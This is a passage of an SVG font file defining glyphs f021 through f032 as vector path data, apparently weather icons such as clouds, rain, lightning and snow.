-40 q22 -35 54 -47q17 -5 32 -5t34 8q33 14 45 61l154 605q5 23 5 29q0 24 -17 48t-49 34q-27 3 -28 3q-27 0 -50 -15.5t-32 -48.5l-156 -608q0 -3 -1.5 -11.5t-1.5 -12.5z" />
<glyph unicode="&#xf021;" horiz-adv-x="2209" d="M0 678q0 36 25 60t61 24h1289q35 0 58 -23.5t23 -60.5q0 -35 -23 -58t-58 -23h-1289q-36 0 -61 23t-25 58zM258 987q0 35 25 59q24 24 60 24h1290q34 0 57.5 -24t23.5 -59t-23.5 -59.5t-57.5 -24.5h-1290q-35 0 -60 24.5t-25 59.5zM430 375q0 34 26 58q23 23 58 23h1291 q36 0 60 -23t24 -58t-24.5 -60t-59.5 -25h-1291q-35 0 -59.5 25t-24.5 60zM1559 678q0 37 23.5 60.5t60.5 23.5h482q37 0 60.5 -24t23.5 -60q0 -35 -24 -58t-60 -23h-482q-37 0 -60.5 23t-23.5 58z" />
<glyph unicode="&#xf022;" horiz-adv-x="2564" d="M0 89q0 -37 29 -64q27 -27 65 -27h612q42 0 73.5 -30.5t31.5 -72.5q0 -43 -31.5 -74t-73.5 -31q-41 0 -73 32q-29 26 -65 26q-38 0 -64 -26t-26 -64q0 -36 26 -64q84 -84 202 -84t201.5 83t83.5 202q0 118 -83.5 202t-201.5 84h-612q-38 0 -66 -27.5t-28 -64.5zM0 411 q0 -35 29 -62q28 -26 65 -26h1157q118 0 201.5 83t83.5 201t-83.5 200.5t-201.5 82.5q-122 0 -202 -81q-24 -25 -24 -65t24.5 -64t62.5 -24t66 24q30 30 73 30q41 0 72 -30t31 -73q0 -42 -31 -73t-72 -31h-1157q-38 0 -66 -27.5t-28 -64.5zM269 662q0 -14 17 -14h153 q13 0 23 16q36 87 111.5 143.5t168.5 63.5l56 8q20 0 20 18l8 55q17 173 147 289.5t305 116.5t304.5 -116t147.5 -290l7 -62q0 -19 20 -19h173q145 0 247 -101t102 -243t-102.5 -244t-246.5 -102h-737q-18 0 -18 -19v-146q0 -18 18 -18h737q143 0 264.5 71t192.5 193t71 265 q0 141 -73 264q117 113 161 275l16 72q3 3 3 8q0 7 -15 17l-64 22q-134 41 -204.5 145t-70.5 215q0 39 10 84l14 66q4 16 -14 24l-85 26q-70 17 -133 17q-59 0 -120 -14t-125.5 -43.5t-125.5 -85t-107 -130.5q-113 48 -247 48q-226 0 -399.5 -140t-220.5 -357 q-137 -32 -242 -131t-145 -235v-3q-2 -3 -2 -9zM1680 1397q50 88 138 134.5t182 46.5q22 0 33 -1q-2 -14 -2 -38q0 -151 84 -289t232 -207q-25 -60 -80 -110q-142 122 -337 122h-35q-43 201 -215 342z" />
<glyph unicode="&#xf023;" horiz-adv-x="2699" d="M0 86q0 -38 27 -63t67 -25h1003q38 0 63 25t25 63q0 40 -25 65.5t-63 25.5h-1003q-40 0 -67 -26t-27 -65zM281 411q0 -38 28 -64q26 -27 64 -27h1005q37 0 62.5 26.5t25.5 64.5q0 37 -25 62.5t-63 25.5h-1005q-38 0 -65 -25.5t-27 -62.5zM392 661q0 -15 19 -15h152 q14 0 24 15q36 87 111 144t168 64l59 8q19 0 19 18l7 55q17 174 147.5 290.5t306.5 116.5q175 0 303 -115t150 -289l8 -62q0 -18 19 -18h172q145 0 247 -102t102 -246q0 -141 -103.5 -244.5t-245.5 -103.5h-737q-18 0 -18 -18v-143q0 -18 18 -18h737q144 0 266 70t193 191.5 t71 265.5t-69 264q115 103 161 275l19 73q1 2 1 7q0 13 -16 17l-66 23q-70 21 -124 61t-85.5 89.5t-47 100.5t-15.5 101q0 38 12 93l14 65q7 15 -14 24l-88 26q-70 17 -133 17q-60 0 -121 -14t-126 -43.5t-125.5 -85t-105.5 -130.5q-124 51 -253 51q-226 0 -400.5 -140.5 t-221.5 -360.5q-139 -32 -243.5 -130.5t-145.5 -235.5v-3q-2 -2 -2 -8zM469 -245q0 -39 27 -64q26 -27 64 -27h1006q38 0 65 27t27 64t-27 62.5t-65 25.5h-1006q-38 0 -64.5 -25.5t-26.5 -62.5zM1811 1394q55 88 143.5 136.5t181.5 46.5q18 0 27 -1v-26q0 -156 84.5 -297.5 t231.5 -211.5q-28 -64 -81 -114q-141 126 -341 126h-34q-40 193 -212 341z" />
<glyph unicode="&#xf024;" horiz-adv-x="2325" d="M0 527q0 -213 148.5 -366t362.5 -163q19 0 19 18v143q0 18 -19 18q-137 7 -233 109t-96 241q0 133 90 231t224 114l56 3q21 0 21 19l8 58q17 173 146.5 290t304.5 117q173 0 304 -117t149 -290l8 -62q0 -18 18 -18h172q142 0 246 -102.5t104 -242.5q0 -139 -96 -241 t-233 -109q-21 0 -21 -18v-143q0 -18 21 -18q213 7 361 161t148 368q0 137 -69 257q126 119 165 279l14 73q3 2 3 7q0 12 -17 17l-60 18q-91 27 -155.5 90.5t-91.5 133t-27 140.5q-1 39 8 84l15 62q5 14 -15 23l-85 27q-67 20 -140 20q-56 0 -115.5 -13.5t-124.5 -43 t-126.5 -85t-106.5 -130.5q-120 52 -253 52q-226 0 -401 -140t-224 -358q-177 -41 -292 -184.5t-115 -328.5zM584 -223q14 -34 49 -48q31 -16 66 -2.5t48 47.5q16 35 2.5 69t-47.5 47q-32 16 -66 2t-50 -49q-16 -25 -2 -66zM651 79q0 -24 17 -48t49 -34q41 -16 71.5 0.5 t42.5 60.5l94 342q11 40 -8.5 71.5t-57.5 39.5q-35 11 -67 -7t-43 -54l-94 -343q0 -3 -2 -13t-2 -15zM850 -518q0 -20 6 -31q14 -35 48 -48q15 -8 35 -8q10 0 32 6q36 13 51.5 48t-0.5 70t-47.5 49t-65.5 0q-31 -13 -45 -38t-14 -48zM929 -235q0 -61 68 -83q15 -5 25 -5 q18 0 37 9q37 13 50 61l176 653q10 38 -7.5 69t-53.5 42q-37 11 -69.5 -7t-42.5 -54l-179 -658q-4 -18 -4 -27zM1296 -191q0 -20 7 -33q13 -32 47 -47q19 -8 37 -8q10 0 32 6q35 14 48 47q13 35 0.5 67.5t-44.5 48.5q-35 16 -69.5 2.5t-50.5 -49.5q-7 -13 -7 -34zM1373 82 q0 -26 16.5 -49t48.5 -33q27 -3 29 -3q65 0 82 65l93 338q10 38 -7.5 69t-53.5 42q-37 11 -68.5 -7t-42.5 -54l-94 -339q-3 -14 -3 -29zM1442 1389q50 92 138.5 140t187.5 47q18 0 27 -2v-33q0 -156 83.5 -293.5t231.5 -207.5q-31 -70 -80 -114q-141 125 -347 125h-34 q-41 200 -207 338z" />
<glyph unicode="&#xf025;" horiz-adv-x="2320" d="M0 527q0 -213 148.5 -366t362.5 -163q18 0 18 18v146q0 19 -18 19q-139 11 -234 110.5t-95 235.5q0 134 90.5 233.5t223.5 110.5l56 8q21 0 21 18l8 55q17 173 146 289.5t304 116.5q174 0 304 -116t148 -290l8 -62q0 -19 19 -19h172q145 0 247.5 -101t102.5 -243 q0 -136 -95 -235.5t-234 -110.5q-21 0 -21 -19v-146q0 -18 21 -18q213 7 360.5 161t147.5 368q0 143 -73 264q128 116 165 275l16 77q1 1 1 7q0 12 -17 17l-62 18q-91 26 -155 88t-91 131.5t-27 140.5q0 39 10 84l15 66q5 15 -15 24l-84 26q-70 17 -133 17q-58 0 -119 -14 t-127 -43.5t-128 -85t-107 -130.5q-113 48 -249 48q-226 0 -400.5 -139.5t-224.5 -357.5q-176 -42 -291 -185.5t-115 -327.5zM818 31q-8 -23 15 -23h230l-140 -442h32l445 596q6 7 3 14.5t-14 7.5h-235l246 449q11 23 -15 23h-314q-13 0 -23 -15zM1437 1391q53 91 141.5 139 t183.5 48q20 0 29 -2v-33q0 -154 83 -291t231 -209q-25 -59 -80 -114q-147 126 -343 126h-34q-45 200 -211 336z" />
<glyph unicode="&#xf026;" horiz-adv-x="2332" d="M0 525q0 -212 149 -366t363 -161q19 0 19 18v143q0 18 -19 18q-136 7 -233 110t-97 238q0 136 90.5 235.5t224.5 110.5l57 7q21 0 21 19l7 54q17 176 146.5 293.5t305.5 117.5q174 0 305.5 -117t149.5 -290l8 -61q0 -20 18 -20h173q145 0 248.5 -103t103.5 -246 q0 -88 -44 -166.5t-120.5 -127.5t-166.5 -54q-21 0 -21 -18v-143q0 -18 21 -18q141 4 258 76t184.5 191.5t67.5 259.5q0 141 -73 268q133 119 169 280l15 73q3 3 3 8q0 9 -18 17l-59 19q-92 27 -157 90.5t-92.5 133t-27.5 137.5q-3 34 10 88l14 62q7 16 -14 25l-85 26 q-65 18 -138 18q-58 0 -119.5 -14t-127 -44t-127.5 -86.5t-107 -131.5q-130 49 -251 49q-226 0 -401.5 -140.5t-225.5 -359.5q-180 -46 -293.5 -189t-113.5 -329zM577 -227q0 -27 17.5 -54t50.5 -37q37 -11 68 4t42 60l15 65q8 36 -10 67.5t-55 42.5q-36 11 -68.5 -8 t-42.5 -57l-15 -63q-2 -6 -2 -20zM658 82q0 -34 27 -61q25 -27 60 -27q38 0 64 25.5t26 62.5t-26 62.5t-64 25.5q-37 0 -62 -25t-25 -63zM723 325q-2 -25 14.5 -48.5t51.5 -34.5q33 -10 66 7.5t44 54.5l30 96q12 39 -7 69.5t-58 41.5q-35 11 -67.5 -7t-43.5 -53l-26 -98 q0 -3 -2 -12.5t-2 -15.5zM847 -560q0 -28 16.5 -53t51.5 -35q13 -3 27 -3q68 0 84 65l15 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-15 -63q-3 -14 -3 -24zM930 -250q0 -35 27 -62q26 -26 61 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM997 -8 q-2 -24 14 -50t48 -32q37 -10 68 6t44 60l29 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1291 -237q0 -26 16.5 -51t49.5 -35q5 0 14.5 -2t14.5 -2q65 0 81 70l15 64q11 34 -7 67t-54 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63 q0 -4 -2 -13t-2 -14zM1370 78q0 -36 27 -61q24 -26 61 -26q38 0 63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1435 325q0 -27 17.5 -51.5t52.5 -34.5q3 0 13 -2t15 -2q16 0 38 10q34 18 44 56l26 96q10 36 -8 67.5t-54 42.5q-37 11 -68 -6t-42 -54l-30 -97 q0 -4 -2 -12.5t-2 -12.5zM1442 1397q51 92 140 142.5t184 49.5q15 0 32 -3v-34q-2 -157 82.5 -294.5t236.5 -206.5q-31 -65 -85 -118q-148 122 -344 122h-33q-50 208 -213 342z" />
<glyph unicode="&#xf027;" horiz-adv-x="2333" d="M0 525q0 -179 106.5 -320.5t274.5 -188.5q14 -3 26 8l120 150q-140 0 -242.5 104t-102.5 247q0 134 90 231.5t225 109.5l53 7q20 0 20 20l8 57q20 174 150 291t305 117q174 0 305 -117.5t150 -290.5l7 -62q0 -18 19 -18h173q141 0 243.5 -102t102.5 -243 q0 -136 -90 -236.5t-221 -111.5q-72 -9 -92 -30l-249 -310q-25 -28 -20 -67q4 -38 33.5 -63t60.5 -25q36 0 68 40l218 276q99 10 187.5 55.5t151.5 115.5t100 163t37 193q0 139 -73 260q130 118 169 280v10l21 82l-81 28q-92 27 -156.5 89t-92 131t-27.5 140q0 41 9 85 l20 83l-89 25q-1 0 -3 1.5t-4 2.5t-4.5 2t-3.5 1q-70 17 -133 17q-61 -1 -122.5 -15t-128 -44t-128.5 -86t-107 -132q-120 52 -250 52q-226 0 -401 -140t-225 -358q-181 -44 -294 -186.5t-113 -327.5zM395 -327q0 -21 7 -33q14 -35 46 -49q35 -16 71 -3t49 47 q16 35 1.5 71.5t-48.5 48.5q-35 16 -70.5 2.5t-48.5 -48.5q-7 -15 -7 -36zM592 -66v-12q3 -36 35 -59q21 -24 58 -23t70 34l248 311q22 28 18 66.5t-32 61.5t-67 19t-61 -36l-248 -305q-21 -24 -21 -57zM653 -622q14 -34 49 -48q17 -8 35 -8q10 0 32 6q34 14 47 47 q13 35 1 69t-47 51q-35 13 -67 -0.5t-48 -46.5q-17 -30 -2 -70zM823 -338v-9q4 -36 34 -61.5t60 -25.5q35 0 64 36l460 572q23 27 20 66t-31 62q-32 23 -70.5 19.5t-60.5 -31.5l-456 -572q-20 -25 -20 -56zM1197 -456q0 -18 8 -35q13 -36 50 -50q36 -14 65 -2q35 14 49 49 q16 35 3.5 68.5t-47.5 49.5q-35 13 -69.5 0t-50.5 -45q-8 -19 -8 -35zM1441 1391q50 92 138.5 140.5t187.5 46.5q19 0 28 -1v-32q0 -155 85.5 -293.5t233.5 -209.5q-40 -75 -84 -119q-142 126 -343 126h-34q-48 205 -212 342z" />
<glyph unicode="&#xf028;" horiz-adv-x="2331" d="M0 528q0 -213 149 -366.5t363 -163.5q19 0 19 18v143q0 18 -19 18q-137 8 -233.5 110t-96.5 241q0 133 90.5 231.5t224.5 114.5l57 4q21 0 21 18l7 58q17 173 147 290.5t305 117.5q174 0 305 -117.5t149 -290.5l8 -61q0 -19 18 -19h173q143 0 247.5 -102.5t104.5 -243.5 q0 -139 -96.5 -241t-233.5 -110q-22 0 -22 -18v-143q0 -18 22 -18q213 7 361 161.5t148 368.5q0 141 -73 262q129 117 169 279l15 77q2 1 2 7q0 12 -17 17l-60 19q-91 26 -156 88.5t-92.5 131.5t-27.5 137q-3 36 9 88l15 65q7 16 -15 26l-84 26q-72 16 -135 16 q-60 0 -122 -14t-128 -43.5t-128 -85t-107 -130.5q-132 48 -249 48q-226 0 -401.5 -140.5t-225.5 -359.5q-177 -41 -292 -185t-115 -329zM593 -201q0 -27 17.5 -52.5t52.5 -35.5q37 -11 68.5 4.5t42.5 59.5l153 626q10 40 -9 72t-56 39q-35 11 -67.5 -7t-43.5 -54l-154 -629 q0 -2 -2 -10t-2 -13zM871 -529q0 -25 16.5 -49t47.5 -33q18 -4 26 -4q70 0 87 63l240 953q10 39 -7.5 69.5t-53.5 41.5q-37 11 -70.5 -7.5t-41.5 -53.5l-241 -952q0 -2 -1.5 -12.5t-1.5 -15.5zM1315 -210q0 -57 67 -79q22 -6 32 -6q18 0 37 8q33 13 42 62l153 626 q10 38 -8 69t-54 42q-37 11 -70 -7t-41 -54l-153 -629q-5 -28 -5 -32zM1441 1395q51 93 139.5 141.5t187.5 46.5q19 0 29 -1v-32q-2 -155 82 -293t236 -210q-36 -73 -84 -114q-147 121 -344 121h-33q-44 203 -213 341z" />
<glyph unicode="&#xf029;" horiz-adv-x="2331" d="M0 527q0 -213 148.5 -366t362.5 -163q18 0 18 18v146q0 19 -18 19q-139 11 -234 110.5t-95 235.5q0 132 90 230t224 114l56 8q21 0 21 18l8 55q17 173 146 289.5t304 116.5q174 0 304 -116t148 -290l8 -62q0 -19 19 -19h172q144 0 247 -101t103 -243q0 -136 -95 -235.5 t-234 -110.5q-21 0 -21 -19v-146q0 -18 21 -18q213 7 360.5 161t147.5 368q0 139 -69 259q130 117 169 279v14l20 84l-81 22q-130 39 -202 144.5t-72 216.5q0 42 9 83l21 85l-91 27l-14 4q-75 15 -133 15q-60 0 -122 -14t-128.5 -44t-128 -85.5t-106.5 -131.5 q-119 52 -252 52q-226 0 -399.5 -140t-220.5 -358q-180 -41 -295.5 -184t-115.5 -328zM576 -195q0 -24 16 -47.5t48 -35.5q35 -12 68 5.5t44 54.5l30 113q11 33 -7.5 66t-54.5 44q-37 10 -69.5 -9t-44.5 -57l-25 -106q-5 -25 -5 -28zM714 310q0 -18 11 -38q12 -28 57 -41 q39 -10 70 6.5t43 55.5l30 110q11 37 -7.5 68.5t-54.5 41.5q-39 10 -71 -7.5t-43 -55.5l-29 -108q-6 -22 -6 -32zM848 -528q0 -27 16.5 -52.5t48.5 -35.5q17 -5 24 -5q14 0 40 11q32 13 46 59l32 112q11 34 -7.5 67t-54.5 44q-39 10 -71.5 -8.5t-43.5 -56.5l-27 -108 q-3 -13 -3 -27zM990 -19q0 -24 16 -47.5t49 -35.5q36 -11 68 6t43 56l29 111q11 34 -6.5 66.5t-52.5 43.5q-39 10 -72.5 -9t-44.5 -57l-26 -107zM1289 -207q0 -60 68 -80q14 -3 26 -3q24 0 39 7q34 13 47 61l29 109q10 40 -8.5 71.5t-56.5 39.5q-37 11 -68.5 -7.5 t-42.5 -54.5l-29 -111q0 -4 -2 -15.5t-2 -16.5zM1437 307q0 -25 16.5 -49t49.5 -34q23 -5 25 -5q14 0 40 11q33 13 47 59l30 111q10 35 -9 67t-57 43q-35 11 -67 -7.5t-43 -55.5l-28 -113q-4 -18 -4 -27zM1441 1391q51 90 141.5 140t193.5 50h22q-1 -14 -1 -40 q0 -152 83.5 -289t231.5 -209q-35 -69 -83 -117q-149 129 -347 129h-34q-40 189 -207 336z" />
<glyph unicode="&#xf02a;" horiz-adv-x="2331" d="M0 525q0 -212 149 -366t363 -161q19 0 19 18v143q0 18 -19 18q-136 7 -233 109.5t-97 238.5t90.5 235t224.5 110l57 8q21 0 21 18l7 55q17 175 146.5 293t305.5 118q174 0 305 -117.5t149 -290.5l8 -61q0 -19 18 -19h173q145 0 248.5 -103t103.5 -246q0 -136 -97 -238.5 t-233 -109.5q-22 0 -22 -18v-143q0 -18 22 -18q140 4 257 76t184.5 192t67.5 259q0 146 -69 265q118 106 162 275l18 77q2 2 2 8q0 12 -17 17l-65 18q-70 21 -124.5 61t-86 89.5t-47 101t-15.5 101.5q0 43 11 92l12 66q4 15 -15 24l-85 26q-70 17 -133 17q-59 0 -120 -14 t-126 -44t-126 -85.5t-106 -130.5q-129 53 -254 53q-226 0 -401.5 -140.5t-225.5 -359.5q-180 -45 -293.5 -188t-113.5 -329zM681 89q0 -38 25.5 -64.5t62.5 -26.5q38 0 63.5 26.5t25.5 64.5q0 36 -25.5 62t-63.5 26q-37 0 -62.5 -26t-25.5 -62zM681 -299q0 -36 26 -62 t62 -26q38 0 63.5 25t25.5 63t-25.5 63t-63.5 25t-63 -25t-25 -63zM1023 -118q0 -39 26 -63q26 -26 62 -26q38 0 65 26t27 63q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1023 270q0 -38 26 -62q26 -26 62 -26q39 0 65.5 25t26.5 63q0 37 -27 63.5t-65 26.5 q-36 0 -62 -26.5t-26 -63.5zM1023 -510q0 -35 26 -61q27 -27 62 -27q38 0 65 25.5t27 62.5q0 38 -27 65.5t-65 27.5q-35 0 -61.5 -27.5t-26.5 -65.5zM1368 89q0 -38 26.5 -64.5t63.5 -26.5t62.5 26.5t25.5 64.5q0 36 -25.5 62t-62.5 26t-63.5 -26t-26.5 -62zM1368 -299 q0 -36 26 -62t64 -26t63 25.5t25 62.5q0 38 -25 63t-63 25t-64 -25t-26 -63zM1441 1395q50 87 138.5 134.5t182.5 49.5q24 0 35 -2v-33q0 -155 83.5 -292.5t231.5 -209.5q-25 -58 -81 -114q-142 126 -344 126h-33q-44 197 -213 341z" />
<glyph unicode="&#xf02b;" horiz-adv-x="2323" d="M0 529q0 -213 148.5 -366t362.5 -164q19 0 19 19v142q0 19 -19 19q-137 7 -233 109t-96 241q0 133 90 231t224 114l56 4q21 0 21 19l8 58q17 173 146.5 289.5t304.5 116.5q174 0 305 -117t149 -289l7 -61q0 -20 19 -20h173q142 0 245.5 -102.5t103.5 -242.5 q0 -139 -96 -241t-233 -109q-20 0 -20 -19v-142q0 -19 20 -19q140 5 257.5 77t185 192.5t67.5 260.5q0 139 -73 261q125 119 164 275l15 78q2 1 2 7q0 12 -17 17l-61 18q-91 26 -156 87.5t-92.5 129.5t-27.5 137q0 46 12 91l14 65q4 16 -14 25l-85 26q-72 16 -135 16 q-58 0 -119 -14t-126.5 -43t-127.5 -84t-107 -128q-130 49 -249 49q-226 0 -401 -140.5t-225 -358.5q-177 -42 -291.5 -185.5t-114.5 -328.5zM633 435q0 -61 44.5 -104t108.5 -43t107 42.5t43 104.5q0 41 -37 109t-69 105q-17 19 -44 46l-37 -44q-43 -47 -79.5 -110.5 t-36.5 -105.5zM952 10q0 -105 73 -177t176 -72q105 0 177.5 73t72.5 176q0 88 -85 213q-71 93 -137 159q-13 9 -28 24l-25 -24q-63 -58 -136 -158q-38 -53 -63 -111t-25 -103zM1109 721q0 -41 30.5 -70t74.5 -29q41 0 70 29t29 70q0 68 -99 173l-27 -29q-29 -32 -53.5 -74.5 t-24.5 -69.5zM1435 1395q56 91 143 137.5t183 46.5q19 0 29 -2v-32q0 -154 84 -292t233 -210q-25 -60 -80 -110q-148 122 -342 122h-35q-49 210 -215 340z" />
<glyph unicode="&#xf02c;" horiz-adv-x="2328" d="M0 529q0 -177 106 -316.5t275 -190.5l-69 -181q-7 -22 15 -22h226l-138 -446h30l451 600q6 7 2 14.5t-15 7.5h-232l264 495q11 23 -14 23h-316q-14 0 -24 -16l-114 -307q-114 29 -189.5 124.5t-75.5 214.5q0 133 90.5 231t224.5 114l56 8q21 0 21 19l8 54 q17 173 146.5 290t304.5 117q174 0 305 -117.5t149 -289.5l8 -61q0 -20 18 -20h173q145 0 248 -101.5t103 -243.5q0 -136 -96 -236t-235 -110q-20 0 -20 -20v-145q0 -19 20 -19q213 7 361.5 161.5t148.5 368.5q0 139 -70 261q122 118 161 280l20 73q1 1 1 7q0 13 -16 17 l-66 18q-92 27 -156 89.5t-90.5 130t-25.5 134.5q0 44 11 91l12 65q4 16 -15 25l-85 26q-75 15 -132 15q-59 1 -120.5 -12.5t-126.5 -43t-125.5 -84t-105.5 -128.5q-136 49 -254 49q-226 0 -401 -140.5t-225 -358.5q-177 -42 -292 -185.5t-115 -328.5zM872 -523 q0 -25 16.5 -50t48.5 -35q25 -5 29 -5q15 0 39 11q33 16 45 56l30 112q10 35 -8.5 67.5t-56.5 43.5q-35 10 -67.5 -9t-43.5 -57l-29 -107zM1015 -16q0 -69 65 -80q22 -5 29 -5q60 0 82 67l32 109q10 35 -9 67.5t-57 43.5q-36 11 -68.5 -7.5t-43.5 -56.5l-27 -108 q-3 -14 -3 -30zM1314 -194q2 -27 19 -51.5t51 -36.5q26 -6 35 -6q55 0 76 72l26 109q11 37 -6.5 70t-53.5 44q-40 10 -72.5 -9t-39.5 -57l-31 -110q0 -4 -2 -12.5t-2 -12.5zM1440 1395q53 89 143 137.5t188 48.5h23v-34q0 -102 36 -198t108.5 -177t171.5 -129 q-27 -60 -81 -110q-146 125 -343 125h-35q-45 201 -211 337zM1461 318q0 -69 69 -88q22 -4 32 -4q58 0 79 69l30 111q1 8 1 23q2 27 -15 52.5t-52 35.5q-2 0 -10.5 1.5t-13.5 1.5q-26 0 -51 -16.5t-35 -50.5l-31 -109q0 -1 -1.5 -11t-1.5 -15z" />
<glyph unicode="&#xf02d;" horiz-adv-x="2330" d="M0 531q0 -178 106 -317.5t275 -190.5l-70 -180q-4 -22 16 -22h226l-104 -374h31l417 527q6 8 1.5 15.5t-15.5 7.5h-232l264 494q11 23 -14 23h-316q-14 0 -24 -15l-114 -307q-115 29 -190 124.5t-75 214.5q0 133 90.5 231.5t224.5 114.5l56 8q21 0 21 18l8 55 q17 173 146.5 290t304.5 117q173 0 304.5 -117.5t150.5 -289.5l7 -63q0 -18 19 -18h173q145 0 248 -101.5t103 -244.5q0 -136 -96 -236t-235 -111q-20 0 -20 -18v-147q0 -19 20 -19q140 5 257.5 77t185 192.5t67.5 261.5q0 139 -70 261q127 121 166 280l15 77q2 2 2 8 q0 11 -17 16l-60 19q-91 26 -156 87.5t-92.5 131.5t-27.5 141q0 42 9 85l15 65q7 16 -15 25q-34 14 -96.5 28t-122.5 14q-58 0 -119 -14t-126.5 -43.5t-127.5 -85t-107 -130.5q-132 48 -254 48q-226 0 -401 -140t-225 -358q-177 -42 -292 -186t-115 -329zM864 -517 q0 -26 15.5 -49.5t47.5 -32.5q17 -3 32 -3q65 0 81 67l247 938q10 38 -7.5 69.5t-53.5 41.5q-37 11 -69.5 -6.5t-42.5 -52.5l-247 -943q-3 -14 -3 -29zM1309 -195q0 -26 15.5 -49t49.5 -33q5 0 16.5 -1.5t17.5 -1.5q61 0 77 67l160 616q10 39 -8 70t-54 41q-37 11 -69 -6 t-42 -53l-160 -621q-3 -16 -3 -29zM1441 1398q53 91 141.5 139t187.5 48q20 0 29 -1v-34q0 -154 83.5 -291t231.5 -210q-29 -67 -84 -114q-147 126 -343 126h-34q-45 199 -212 337z" />
<glyph unicode="&#xf02e;" horiz-adv-x="1512" d="M0 786q0 153 60 293t161.5 241.5t242 162t293.5 60.5h122q25 -7 25 -30l5 -94q6 -203 146 -346t340 -151l88 -7q26 0 26 -25v-104q1 -205 -99.5 -379.5t-274 -276t-378.5 -101.5q-156 0 -296.5 60t-241 161.5t-160 241.5t-59.5 294zM195 786q0 -122 48.5 -230t127 -181 t180 -115.5t206.5 -42.5q93 0 187.5 36.5t175.5 102t139.5 167.5t75.5 223q-261 54 -418.5 223.5t-181.5 398.5q-151 -8 -276.5 -93t-194.5 -215.5t-69 -273.5z" />
<glyph unicode="&#xf02f;" horiz-adv-x="2548" d="M0 93q0 -38 29 -64q29 -29 65 -29h627q42 0 73.5 -30t31.5 -73q0 -41 -32 -72.5t-73 -31.5q-40 0 -72 32q-30 28 -66 28q-37 0 -63 -27t-26 -65t26 -64q83 -83 201 -83q119 0 202 82.5t83 200.5q0 119 -83.5 203t-201.5 84h-627q-38 0 -66 -27t-28 -64zM0 414 q0 -36 29 -62q24 -26 65 -26h1172q118 0 201.5 83t83.5 201t-83.5 200.5t-201.5 82.5q-122 0 -202 -80q-24 -27 -24 -67q0 -38 24 -62.5t64 -24.5t65 24q30 30 73 30q41 0 72 -30t31 -73t-31 -74t-72 -31h-1172q-38 0 -66 -27t-28 -64zM283 664q0 -13 18 -13h153q13 0 23 15 q36 87 111.5 144t169.5 64l56 7q20 0 20 20l7 53q17 173 147 289.5t305 116.5t304 -115.5t148 -290.5l7 -61q0 -19 19 -19h174q144 0 246 -101t102 -243q0 -143 -102 -244.5t-246 -101.5h-737q-18 0 -18 -19v-146q0 -19 18 -19h737q143 0 264.5 71t192 193t70.5 266 q0 119 -45 216q122 160 122 355q0 114 -44.5 217.5t-119.5 178t-178.5 118.5t-216.5 44q-247 0 -414 -185q-125 65 -283 65q-226 0 -399.5 -139.5t-220.5 -357.5q-136 -32 -241 -131t-146 -233v-4q-3 -8 -3 -10zM1726 1371q115 109 264 109q156 0 267.5 -112t111.5 -267 q0 -97 -54 -197q-153 153 -370 153h-35q-37 171 -184 314z" />
<glyph unicode="&#xf030;" horiz-adv-x="2681" d="M0 91q0 -40 29 -64q27 -28 65 -28h1018q37 0 62.5 27t25.5 65t-25.5 65t-62.5 27h-1018q-38 0 -66 -27.5t-28 -64.5zM281 414q0 -36 29 -62q26 -26 64 -26h1019q38 0 63 25t25 63t-25.5 64.5t-62.5 26.5h-1019q-38 0 -65.5 -27t-27.5 -64zM403 663q0 -12 21 -12h152 q14 0 24 15q36 87 112 144t169 64l58 8q19 0 19 19l8 54q17 173 147 290t306 117t306 -116t148 -291l8 -61q0 -20 18 -20h173q146 0 248.5 -101t102.5 -244q0 -142 -102.5 -244t-248.5 -102h-737q-18 0 -18 -18v-147q0 -19 18 -19h737q145 0 267.5 71t194 193t71.5 266 q0 113 -47 214q123 161 123 351q0 152 -75.5 281.5t-204.5 204.5t-282 75q-244 0 -410 -178q-136 65 -290 65q-149 0 -280.5 -63t-221 -177t-120.5 -259q-140 -32 -244.5 -128.5t-145.5 -231.5zM469 -239q0 -37 28 -62q26 -26 64 -26h1020q38 0 64.5 25t26.5 63t-27 65 t-64 27h-1020q-37 0 -64.5 -27.5t-27.5 -64.5zM1856 1369q108 104 263 104q158 0 269 -110.5t111 -268.5q0 -101 -52 -189q-157 153 -375 153h-34q-39 175 -182 311z" />
<glyph unicode="&#xf031;" horiz-adv-x="2282" d="M0 529q0 -143 70 -264.5t191 -192.5t264 -71h1153q143 0 264.5 71t192.5 192.5t71 264.5q0 102 -45 213q121 148 121 352q0 152 -74 280.5t-202.5 203.5t-280.5 75q-239 0 -413 -186q-122 69 -287 69q-225 0 -397.5 -139t-221.5 -357q-179 -40 -292.5 -183t-113.5 -328z M182 529q0 133 89 230t224 113l73 3l7 77q22 173 150 289.5t300 116.5q175 0 305 -117t147 -289l11 -80h190q141 0 243 -101.5t102 -241.5q0 -144 -101.5 -247t-243.5 -103h-1153q-139 0 -241 104t-102 246zM1465 1365q110 106 260 106q158 0 268.5 -109.5t110.5 -267.5 q0 -99 -55 -196q-153 153 -371 153h-33q-44 178 -180 314z" />
<glyph unicode="&#xf032;" horiz-adv-x="2294" d="M0 529q0 -213 148.5 -366t362.5 -164q19 0 19 19v142q0 19 -19 19q-137 7 -233 109t-96 241q0 133 90 231t224 114l56 8q21 0 21 19l8 54q17 173 146.5 289.5t304.5 116.5q174 0 305 -117t149 -289l7 -62q0 -19 19 -19h173q145 0 247 -101t102 -244q0 -139 -96 -241 t-233 -109q-20 0 -20 -19v-142q0 -19 20 -19q140 5 257.5 77t185 192.5t67.5 260.5q0 118 -46 214q126 153 126 354q0 151 -75.5 280t-204.5 204.5t-280 75.5q-249 0 -414 -185q-131 70 -289 70q-226 0 -401 -140.5t-225 -358.5q-176 -42 -291 -185.5t-115 -328.5zM573 -215 q14 -35 49 -49q32 -16 66.5 -2.5t47.5 47.5q14 35 1 69.5t-47 50.5q-32 13 -65.5 -1t-49.5 -46q-16 -27 -2 -69zM640 87q0 -25 16.5 -49t49.5 -33q36 -11 69 6t46 59l105 332q12 39 -8 71t-59 40q-35 11 -66.5 -6.5t-42.5 -53.5l-107 -339zM839 -511q0 -11 6 -31 q15 -36 49 -48q13 -8 35 -8q10 0 32 6q35 13 50.5 48.5t-0.5 70.5t-48 49t-66 1q-31 -13 -44.5 -38.5t-13.5 -49.5zM918 -226q0 -28 16 -51t51 